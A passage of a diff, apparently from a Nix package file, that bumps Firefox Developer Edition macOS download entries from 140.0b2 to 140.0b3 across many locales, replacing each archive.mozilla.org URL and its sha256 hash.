+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/bn/Firefox%20140.0b3.dmg";
       locale = "bn";
       arch = "mac";
-      sha256 = "51e9862caf96e94224efee1300fd54eefdafb03cae20d15b40b02bc9d44ed731";
+      sha256 = "951a928b96768e9223a5cbf15000e6492b6af0fdbdd57ac04a9485dc90750a34";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/br/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/br/Firefox%20140.0b3.dmg";
       locale = "br";
       arch = "mac";
-      sha256 = "be935dc3369b54d1cdb61ce4662b45839d4bd97ab7e2e66edf2693c9b6716b56";
+      sha256 = "b0850a643f67d4f426cc4da800265476ceb3073be86a236e2390209a839f6580";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/bs/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/bs/Firefox%20140.0b3.dmg";
       locale = "bs";
       arch = "mac";
-      sha256 = "2cbe8ca8c678cb81385e657660bd92346dafbebf58b6c73d1f6f77e48f52aa6a";
+      sha256 = "b4eaa6d28e13ac082207160093c89de7338194f821d4568a8d48be94e6029cd7";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/ca-valencia/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/ca-valencia/Firefox%20140.0b3.dmg";
       locale = "ca-valencia";
       arch = "mac";
-      sha256 = "3a2312c808f9342b7fac383b075ca13b272861f79f49015fb51ae4d9a01c92f3";
+      sha256 = "16aa9aa41615fa318661e5ad4cb44993edd8ada4c8a8a5ee6ea2d2ccfd80e4e6";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/ca/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/ca/Firefox%20140.0b3.dmg";
       locale = "ca";
       arch = "mac";
-      sha256 = "367bfe9dc9f53f783eb59a2e345a3cf8e65dc4b15f535d8f25be9f2c0ab3ca68";
+      sha256 = "3943715885230fe7fb60b63dae1d6b970ce075f4ede2888d6bc04600afa0cb1e";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/cak/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/cak/Firefox%20140.0b3.dmg";
       locale = "cak";
       arch = "mac";
-      sha256 = "055b667349f3962d352bc29a69e2ce67ff19893d2520e1c70043bbb1248d8c53";
+      sha256 = "0cfd7036ffce0e751df720c2fdc47461904eb75316040237ffa9ec65869e2171";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/cs/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/cs/Firefox%20140.0b3.dmg";
       locale = "cs";
       arch = "mac";
-      sha256 = "c424df549e13c0a6041b212d9e7e49d09bedd634ad0a35daf5ff8b7f08b705fe";
+      sha256 = "88f59df2a7c7f13766f7ecadd41c27502bc7b1194c29aa700e319e268123e469";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/cy/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/cy/Firefox%20140.0b3.dmg";
       locale = "cy";
       arch = "mac";
-      sha256 = "4cb05bb577e421bc3004831bf878267edb6f6c98b5d776522acd57600b7813ba";
+      sha256 = "fd1a8b3fe4094b98de891b401fea4eb082a82e0c207ac79fa430624f2d7e3de8";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/da/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/da/Firefox%20140.0b3.dmg";
       locale = "da";
       arch = "mac";
-      sha256 = "793fa4ff34f9f04d83a6f316b8cfa0099f2228648d6fd8e2f066ed381affe5aa";
+      sha256 = "58ded2505aeeffc23007086e8fa183db81b7a1319a48ee00743aba222f82c43c";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/de/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/de/Firefox%20140.0b3.dmg";
       locale = "de";
       arch = "mac";
-      sha256 = "9284ff990ecbc6260d82aed6e0ffb3608348c5c084c0ca50d59cd75c84e5f4da";
+      sha256 = "62dc719f46113287868cb898f29b2390ff2ad889613ab7b7cecb15b7c14c020a";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/dsb/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/dsb/Firefox%20140.0b3.dmg";
       locale = "dsb";
       arch = "mac";
-      sha256 = "e433105013e8b543ad239f0ca7a0007e40541056c8a3bd57adc6136b0fe1d117";
+      sha256 = "da379eccd174c83b80a88d08f31069b61a687f3bf97536fbaa9815314191a766";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/el/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/el/Firefox%20140.0b3.dmg";
       locale = "el";
       arch = "mac";
-      sha256 = "b9b8a5f25aebdc89e672793436e3d1f1c35aa6af0ef13f080c89ec23d66ccdd2";
+      sha256 = "1e21eef746d5a3fac0bed5fdb3f536e705b947796331af0faaa40b7480e6b7bd";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/en-CA/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/en-CA/Firefox%20140.0b3.dmg";
       locale = "en-CA";
       arch = "mac";
-      sha256 = "3f6db147fc75e6d2c3efe2dee4e889ead1b3d46909bfa555da8012d48fc7f418";
+      sha256 = "cf0551a0409ed7283baf68707ec51312a170faab606c9da859143f7e114884fc";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/en-GB/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/en-GB/Firefox%20140.0b3.dmg";
       locale = "en-GB";
       arch = "mac";
-      sha256 = "8328b5267b092e75a646da81563461b6d660cfd1000a2da26ca404acb516badf";
+      sha256 = "a2ef452fff308991e1c18d2ce14d62c2b8ae51b6a57e4c12d04159ccb625bb8e";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/en-US/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/en-US/Firefox%20140.0b3.dmg";
       locale = "en-US";
       arch = "mac";
-      sha256 = "880d44a98e9232eabf61ed9949047c235d4fc68145a97cf3f3569c8557ac848b";
+      sha256 = "36655b97674d1d06d4beaa9ea6e4a62b9ce8918cde026e3a62d5b72cb8f23d40";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/eo/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/eo/Firefox%20140.0b3.dmg";
       locale = "eo";
       arch = "mac";
-      sha256 = "ae306283229c379bfc29cf47b3dfc1fcb5a71d038e4e851781206f619fd19023";
+      sha256 = "c264873f843cc4b622a6f21d9608879b317975a06cbb7bf067eb0d67abcab6d6";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/es-AR/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/es-AR/Firefox%20140.0b3.dmg";
       locale = "es-AR";
       arch = "mac";
-      sha256 = "e9d3b45ad4454c8b3ae7b04ad9976b46c9d2b5b96271a58fee55dff00f7044ef";
+      sha256 = "c70701849574b48d56bccff74d68f61d00728021110b5a66fe6c9cd534e8dd43";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/es-CL/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/es-CL/Firefox%20140.0b3.dmg";
       locale = "es-CL";
       arch = "mac";
-      sha256 = "1e1fc107c05a73888155a9eb89287a5eb4dd9c4eb61fa54afc096a53b4283fd3";
+      sha256 = "b03e20dcbd79468005bfb5deee8d888aa11d5707d0d9568f8abcfd8d1014adad";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/es-ES/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/es-ES/Firefox%20140.0b3.dmg";
       locale = "es-ES";
       arch = "mac";
-      sha256 = "639b027643f251dc168d3b93530d8bd3fcd394f3ff62a3eab964b00f9904a175";
+      sha256 = "af7fb0e75d98fabea29580ee313ed18f49062917d73e272b16812c7ad1ba35e3";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/es-MX/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/es-MX/Firefox%20140.0b3.dmg";
       locale = "es-MX";
       arch = "mac";
-      sha256 = "f9f13f56e74d999c13b17c565087bdc62d38228c49bdebacd2ffe5d972172131";
+      sha256 = "d62b8c0c305ca45ec857f026bc27157482474be06ab3b13180cbe3dfda7e676d";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/et/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/et/Firefox%20140.0b3.dmg";
       locale = "et";
       arch = "mac";
-      sha256 = "c05c637c4e1e3f5ac941ed86f3eb35a25e910eefd08901322aca5aaef1aa9c3b";
+      sha256 = "595b01bea796801dd3b35256110290a2c746836a57e8a2c7690986bcb96209e2";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/eu/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/eu/Firefox%20140.0b3.dmg";
       locale = "eu";
       arch = "mac";
-      sha256 = "38ed25cbd21e84d73408fd4b2a934b0e4a975cd9b67050b2f584f462f6175cc2";
+      sha256 = "4c8f36075976c6de8345bfb7716be26e12bb620d273bff2f951530adfa5b1d3b";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/fa/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/fa/Firefox%20140.0b3.dmg";
       locale = "fa";
       arch = "mac";
-      sha256 = "781e74251240e31bc03c6453cd912c6b8c1399bde374d9218ed0b4a4fa3be374";
+      sha256 = "cbeedab2fc5fe6c563f49d198aba79007a8e149422e046a2b2ad540d18a80e49";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/ff/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/ff/Firefox%20140.0b3.dmg";
       locale = "ff";
       arch = "mac";
-      sha256 = "1e02316b5877b8ac781edb9c97b3341d923d02b04eb0a625cc48220f3fa595dd";
+      sha256 = "1820073e2ee74a85a7811e2cf6e8208aac984304e3a060006a4a9c6092357677";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/fi/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/fi/Firefox%20140.0b3.dmg";
       locale = "fi";
       arch = "mac";
-      sha256 = "444db967472e296569612d6686ac31bd0d13d16c58fa87a05edce7a04d8aa8c8";
+      sha256 = "35b4de1b611bcb11ab46567d8cbc5eb369f12ca6455823115cd0c6c3d0a28f29";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/fr/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/fr/Firefox%20140.0b3.dmg";
       locale = "fr";
       arch = "mac";
-      sha256 = "4b8b893500b27eaa571b87f5a02fb2259cc8e0be6dfa11bbbc43635b9656233b";
+      sha256 = "df3c9b89144194e4b20244ef8d42b6a2f1b075f5b0afbaacda153af2aff45df3";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/fur/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/fur/Firefox%20140.0b3.dmg";
       locale = "fur";
       arch = "mac";
-      sha256 = "1e049b0c7b303bb59425280c838f5855329b523e092e151323c5f3e4b14b1446";
+      sha256 = "b198f7fc147179514be0ebaaa726cd66fce74cfde162d2d32e1756ee20f7d903";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/fy-NL/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/fy-NL/Firefox%20140.0b3.dmg";
       locale = "fy-NL";
       arch = "mac";
-      sha256 = "a66abc76de786b262bf98b903ec78509d4bdd760ec4b7664befaf7a34c29ba9f";
+      sha256 = "73abfe375f5f858e82a9aa737f7c07b471f47a21adc861cd7d48643afb6f24dd";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/ga-IE/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/ga-IE/Firefox%20140.0b3.dmg";
       locale = "ga-IE";
       arch = "mac";
-      sha256 = "f3d3846347c1295cdd2ce5f9eedb7924ca3eb58b1dfb62cb941b09166dd5d5fe";
+      sha256 = "28bc935a00b9ffd14077aaf3917e4a8595ae3c629f08af32aab3000504130e3d";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/gd/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/gd/Firefox%20140.0b3.dmg";
       locale = "gd";
       arch = "mac";
-      sha256 = "31ffc94d1dd8dd5fe8586cdaf62289f3dfeadb13f98a7253463ad1e31d3b01c4";
+      sha256 = "efca639b23420c79025a977d033a0490ef5577ec993527e9e5780567cbecaf77";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/gl/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/gl/Firefox%20140.0b3.dmg";
       locale = "gl";
       arch = "mac";
-      sha256 = "a35e82b0ea8b3dda94af2250e88fbabe73d1e80c3107a0858510797564e508dd";
+      sha256 = "c689143914019a0c824d5b9ebe079d3d0e42a6f8e61083e873c3b5aeae272e1f";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/gn/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/gn/Firefox%20140.0b3.dmg";
       locale = "gn";
       arch = "mac";
-      sha256 = "027723af70d814b569ed34f3aac20f88b3f240f385c74938cd17c4f51a5d821f";
+      sha256 = "e1abb457c9f144a16baaa01e10c4f3ef1d8d55cfa7c10fe32030af14a889dae6";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/gu-IN/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/gu-IN/Firefox%20140.0b3.dmg";
       locale = "gu-IN";
       arch = "mac";
-      sha256 = "fd90192e423f2ebd31b2fc3cf5489203c64cec7a32e407eefa67d9f855ea9e01";
+      sha256 = "810bdc63fb5527aae67c2039a87ff1cabc5d0af1d81d0a38e5dd6eaf87e4c38d";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/he/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/he/Firefox%20140.0b3.dmg";
       locale = "he";
       arch = "mac";
-      sha256 = "cf93ebd15ad94671080e7e1cedb89b62269ffea14eb577b6fe0e2bf07850207e";
+      sha256 = "fe8dd8d001ea4ef3ae6d570f177fab07cf66968ca0218c328401030ff673ec46";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/hi-IN/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/hi-IN/Firefox%20140.0b3.dmg";
       locale = "hi-IN";
       arch = "mac";
-      sha256 = "e31224609e571576e63fbc976ef5d19f829cc4f3651079f31da4e2121dccdf4f";
+      sha256 = "b97ea559a077fb24f54ee38b78524d054610f6ddb2dbaf01e0b9efac5aa35073";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/hr/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/hr/Firefox%20140.0b3.dmg";
       locale = "hr";
       arch = "mac";
-      sha256 = "db90c833900707d4f4a5774fc63481883ba49dc5fe64a8f6356b3d050d62124e";
+      sha256 = "971d6761f8ede73878b1fe75d5ac054187b4039bd36f462a3120c06c5ae2cc62";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/hsb/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/hsb/Firefox%20140.0b3.dmg";
       locale = "hsb";
       arch = "mac";
-      sha256 = "062a1815118ab0b8504f1fe68ef15e989f228ff8cfde50df0ec0cb23bb64edb9";
+      sha256 = "f4c952b27fe8eb5d5aca66ce987ee7fea9fa6a34b4effa1199e29d13dcb8c11a";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/hu/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/hu/Firefox%20140.0b3.dmg";
       locale = "hu";
       arch = "mac";
-      sha256 = "0d58e286af8a98faebe766da043523ec6ed558c65284d791e82efc5a1defdad1";
+      sha256 = "bd292cfd5c8dd4134a9f00de09230d76924ae1353ac5b11d51a11ac94208d93d";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/hy-AM/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/hy-AM/Firefox%20140.0b3.dmg";
       locale = "hy-AM";
       arch = "mac";
-      sha256 = "b3129366bab54573c690bece87689f971c33f0255865b57f836d87583241054a";
+      sha256 = "2576beffeed165a63ab65d4abd5890f26b6e5af32b32e9f4cdd4dd0773b605e2";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/ia/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/ia/Firefox%20140.0b3.dmg";
       locale = "ia";
       arch = "mac";
-      sha256 = "af5c9f132655b2a5a64faad3bc5f4334108d5cfbb860313fdbb5959c67f4846f";
+      sha256 = "06af1775920044c5faa89624a1009eeb8e5d9ca7bfcb3502c0ce1b8d38192e11";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/id/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/id/Firefox%20140.0b3.dmg";
       locale = "id";
       arch = "mac";
-      sha256 = "159eef1610be0923f99b77ad48ab2bbaf451bb0d8b1e6651ca164ba993e25611";
+      sha256 = "240e6519207b2b9402c2fa66a5837e97f04cd7c6ea421a81e0b3b23fed7ea51b";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/is/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/is/Firefox%20140.0b3.dmg";
       locale = "is";
       arch = "mac";
-      sha256 = "08569f11b397506b4376ccd634fcdf3c548a78b1ccfb1bbff43704cd73d4fded";
+      sha256 = "e4613a65d2abd33e2eaf260c41a82cf3d1201ed0a11693676d53e448832fd1f3";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/it/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/it/Firefox%20140.0b3.dmg";
       locale = "it";
       arch = "mac";
-      sha256 = "d7469d7f3117ea3ea013df5dec0003a9890504d2f3d70550217dc80b290bf93d";
+      sha256 = "0d5cd0c510d67dd6c672f43105a1d503dddb724f665eb483a35f83e082106bb0";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/ja-JP-mac/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/ja-JP-mac/Firefox%20140.0b3.dmg";
       locale = "ja-JP-mac";
       arch = "mac";
-      sha256 = "2991001790e31d97bd5e7378dc3fd6f78bf496db091dcb7e5e8929980a3ca8c0";
+      sha256 = "a95390e3725fe01ad9baaade9021a418372bea41125c5cccba6f37a5251f61b1";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/ka/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/ka/Firefox%20140.0b3.dmg";
       locale = "ka";
       arch = "mac";
-      sha256 = "053c5217774c857a6dc15007e447dea36dc76d403cd1024938987bd6e15ca8af";
+      sha256 = "faa01d4c9385d3f975fbc79ba7aafe59029e90fd128b03fdc1850752e3ddd507";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/kab/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/kab/Firefox%20140.0b3.dmg";
       locale = "kab";
       arch = "mac";
-      sha256 = "57a6e16519fa59c2dd902d26308ce1f9bd1e28ab7d20ca55736cfa275192e951";
+      sha256 = "89442f6b6c6a414a909eea9df7d5d1a37e5879532b4d9fe61e94fdb51529084b";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/kk/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/kk/Firefox%20140.0b3.dmg";
       locale = "kk";
       arch = "mac";
-      sha256 = "bc6974ccea65432855aa31f5183578ada6562efce971588c3fc6bfe1b841986a";
+      sha256 = "20ab995aaa826d58223435f3317d8de817a165c9a5440f68e90e1a74e8cf6881";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/km/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/km/Firefox%20140.0b3.dmg";
       locale = "km";
       arch = "mac";
-      sha256 = "893979330f94c241f95188b479628e6a3c20f771e778459bdd95cf6e9b6abdc4";
+      sha256 = "8c79bd0ff6a8ef9f30312ff49bd40e5b000343203849ba0e633369ec6873b297";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/kn/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/kn/Firefox%20140.0b3.dmg";
       locale = "kn";
       arch = "mac";
-      sha256 = "12cd26e5fc8dc9355ac7e75964cff9553ce300949fe0c9646c901b4b31ea8e97";
+      sha256 = "8aa7056147c69bcba2d2c141be79ee89092d6af7c57bb50703260e97d7b1cf03";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/ko/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/ko/Firefox%20140.0b3.dmg";
       locale = "ko";
       arch = "mac";
-      sha256 = "f81b961491a67e97ed738a49f1a09dbf42654df0921ee0a7b8b711b72ac906c7";
+      sha256 = "99adc3223525a2901b09d0502a90ab9c0105ac9a961941133e18adb020a4fdf8";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/lij/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/lij/Firefox%20140.0b3.dmg";
       locale = "lij";
       arch = "mac";
-      sha256 = "3ebcf3cf0fa5bfcc742f915aa5c35bf83cd51e9da0e196bc2d8ba66e9692cd9a";
+      sha256 = "a2ee8a7df24b872daadf4706ae669bf038dabea9fe1abe2d65ce9ae9a3ff1924";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/lt/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/lt/Firefox%20140.0b3.dmg";
       locale = "lt";
       arch = "mac";
-      sha256 = "49f53843360a4b9b5ac9464a5d2a94d795f5dae355d590127e8804229b4e55a9";
+      sha256 = "3392374665a21108f4649c07b6617cf7f7340be0890ebd6e9e254c9a88efbb0f";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/lv/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/lv/Firefox%20140.0b3.dmg";
       locale = "lv";
       arch = "mac";
-      sha256 = "33506586c4e1672039cf32e62c0558d06ee96d3f0172565f9bd1ecee7ea38f65";
+      sha256 = "637b76a242d6470597e7e6c35775b9989235819c2d4388d908ca09fbd14a004e";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/mk/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/mk/Firefox%20140.0b3.dmg";
       locale = "mk";
       arch = "mac";
-      sha256 = "0798de1794c577af5e0545f4682baa4e72cb700bc153ce23d597fbb58882a32e";
+      sha256 = "413a76f4bb5d2c9b32cae19eca2576bf35f3d63df59c44d5b6d99edbba2700f3";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/mr/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/mr/Firefox%20140.0b3.dmg";
       locale = "mr";
       arch = "mac";
-      sha256 = "a73d3ae4ebd2e80e4fb7280ca335ad99146d71faabf6dbb0c114f98f088d89f3";
+      sha256 = "7cca5cc2d2efb1f3f083fa4e953202b8108bdd735eb9ae26d71a6a3beacfe2b7";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/ms/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/ms/Firefox%20140.0b3.dmg";
       locale = "ms";
       arch = "mac";
-      sha256 = "73c3351e7e63bbd50b7b9c79c3a604fd31efcf381d1a9c023f9c7bdc6f0f5303";
+      sha256 = "102223dddd89fa88ea6cac413c9154863d3be3dbe1063633d977b01c71d180c0";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/my/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/my/Firefox%20140.0b3.dmg";
       locale = "my";
       arch = "mac";
-      sha256 = "631e0ece9a4af6e8ae1bc447ee433c95cdae9a9c18ae75c49022655ace95395a";
+      sha256 = "61ae243ff4451c581d74ce6f98486d5089bd130e415a6921c972fd5db935121c";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/nb-NO/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/nb-NO/Firefox%20140.0b3.dmg";
       locale = "nb-NO";
       arch = "mac";
-      sha256 = "632a6cafabc4fb5bb579d00938a727e169453bca23727c4f981bc6af49487958";
+      sha256 = "f251c9b9cd5295325884989dd91bd91fcd4eacb69381cda3430ffeec4352ab25";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/ne-NP/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/ne-NP/Firefox%20140.0b3.dmg";
       locale = "ne-NP";
       arch = "mac";
-      sha256 = "5fc19a06fdb469fa27246f5541887fb36a5f05826f645fd4dd5941d37ac46ad8";
+      sha256 = "58e3a5927e3cf8d53cf4dd83141562b2fc6957e9725d619fa25e40196d90a232";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/nl/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/nl/Firefox%20140.0b3.dmg";
       locale = "nl";
       arch = "mac";
-      sha256 = "68c88cac72f77231dd4e26a6e1790f13facb0bc37cfc04eb5e17020ad1c6521d";
+      sha256 = "3543c215c31dae3e64dd6dc58661158b8148a64aef0e0f2eb5b6da4fc75f7fb3";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/nn-NO/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/nn-NO/Firefox%20140.0b3.dmg";
       locale = "nn-NO";
       arch = "mac";
-      sha256 = "25cd5de92e437b848c83d049380a10d9dce7f26456c20fb3da1e29d7adb98b6c";
+      sha256 = "5be9073b97c6be9ac49214b170408b563a05a1330d7008a7fc5828fba34254df";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/oc/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/oc/Firefox%20140.0b3.dmg";
       locale = "oc";
       arch = "mac";
-      sha256 = "6a8a2d6a6f85d8583d14abb61b7aba1dadb5830f5d33b80ad1b7ef5ed010341a";
+      sha256 = "90a95fba1b9684b72b11ed5e2455b2880a49ee38af0578238eca50f0f64f5c86";
     }
     {
